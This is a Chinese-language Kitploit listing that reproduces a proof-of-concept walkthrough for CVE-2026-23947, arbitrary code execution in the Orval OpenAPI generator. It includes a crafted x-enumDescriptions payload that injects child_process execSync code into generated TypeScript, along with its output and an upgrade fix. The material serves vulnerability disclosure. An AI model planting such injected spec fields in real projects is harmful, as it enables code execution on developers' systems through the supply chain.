Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-23947-PoC — 概念验证,演示如何通过恶意 OpenAPI 字段在 Orval 中实现任意代码执行,包含环境搭建、利用步骤及修复指南。 | Kitploit
工具/GitHubGitHub/boroeurnprach/cve-2026-23947-poc
漏洞分析代码分析漏洞利用Web应用程序漏洞利用供应链安全
GitHubboroeurnprach/cve-2026-23947-poc

CVE-2026-23947-PoC

概念验证,演示如何通过恶意 OpenAPI 字段在 Orval 中实现任意代码执行,包含环境搭建、利用步骤及修复指南。

查看仓库
7个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

演练:CVE-2026-23947 - Orval 任意代码执行

本演练演示了不受信任的 OpenAPI 规范如何利用 x-enumDescriptions 和 x-enumNames 字段,通过 Orval 将任意代码注入到生成的客户端中。

前提条件

  • Node.js(v20 或 v22)
  • npm

环境搭建

  1. 创建一个项目并安装存在漏洞的 orval 版本(例如 7.10.0):
root@kitploit:~
mkdir orval-poc
cd orval-poc
npm init -y
npm install [email protected] axios

  1. 创建 orval.config.js:
root@kitploit:~
module.exports = {
  test: {
    input: './openapi.yaml',
    output: {
      target: './generated/api.ts',
      schemas: './generated/model',
      mode: 'split',
    },
  },
};

漏洞利用:

  1. 创建包含以下内容的 openapi.yaml:
root@kitploit:~
openapi: 3.0.0
info:
  title: Test API
  version: 1.0.0
paths:
  /test:
    get:
      responses:
        '200':
          description: OK
          content:
            application/json:
              schema:
                type: object
                properties:
                  status:
                    $ref: '#/components/schemas/TestEnum'
components:
  schemas:
    TestEnum:
      type: string
      enum:
        - VAL1
      x-enumDescriptions:
        - "*/ }; (function(){ const { execSync } = require('child_process'); console.log('ID_COMMAND_OUTPUT: ' + execSync('id').toString()); })(); export const Dummy = { /*"
  1. 生成客户端:
root@kitploit:~
npx orval

  1. 观察生成的 generated/model/testEnum.ts:
root@kitploit:~
/**
 * Generated by orval v7.10.0 🍺
 * Do not edit manually.
 * Test API
 * OpenAPI spec version: 1.0.0
 */

export type TestEnum = typeof TestEnum[keyof typeof TestEnum];

// eslint-disable-next-line @typescript-eslint/no-redeclare
export const TestEnum = {
  /** */ }; (function(){ const { execSync } = require('child_process'); console.log('ID_COMMAND_OUTPUT: ' + execSync('id').toString()); })(); export const Dummy = { /* */
  VAL1: 'VAL1',
} as const;

验证

创建一个运行脚本 exploit.ts:

root@kitploit:~
import { TestEnum } from './generated/model/testEnum';
console.log('TestEnum value:', TestEnum);

使用 tsx 运行它:

root@kitploit:~
npm install -D tsx
npx tsx exploit.ts

输出:

root@kitploit:~
🍻 Start orval v7.10.0 - A swagger client generator for typescript
🎉 test - Your OpenAPI spec has been converted into ready to use orval!
ID_COMMAND_OUTPUT: uid=1002(boroeurn) gid=1002(boroeurn) groups=1002(boroeurn),27(sudo),100(users),126(libvirt),986(docker),993(kvm)

TestEnum value: {}

修复建议

将 Orval 升级到 8.0.2 或更高版本。该修复使用 js-string-escape 正确转义了这些字符串。

下载工具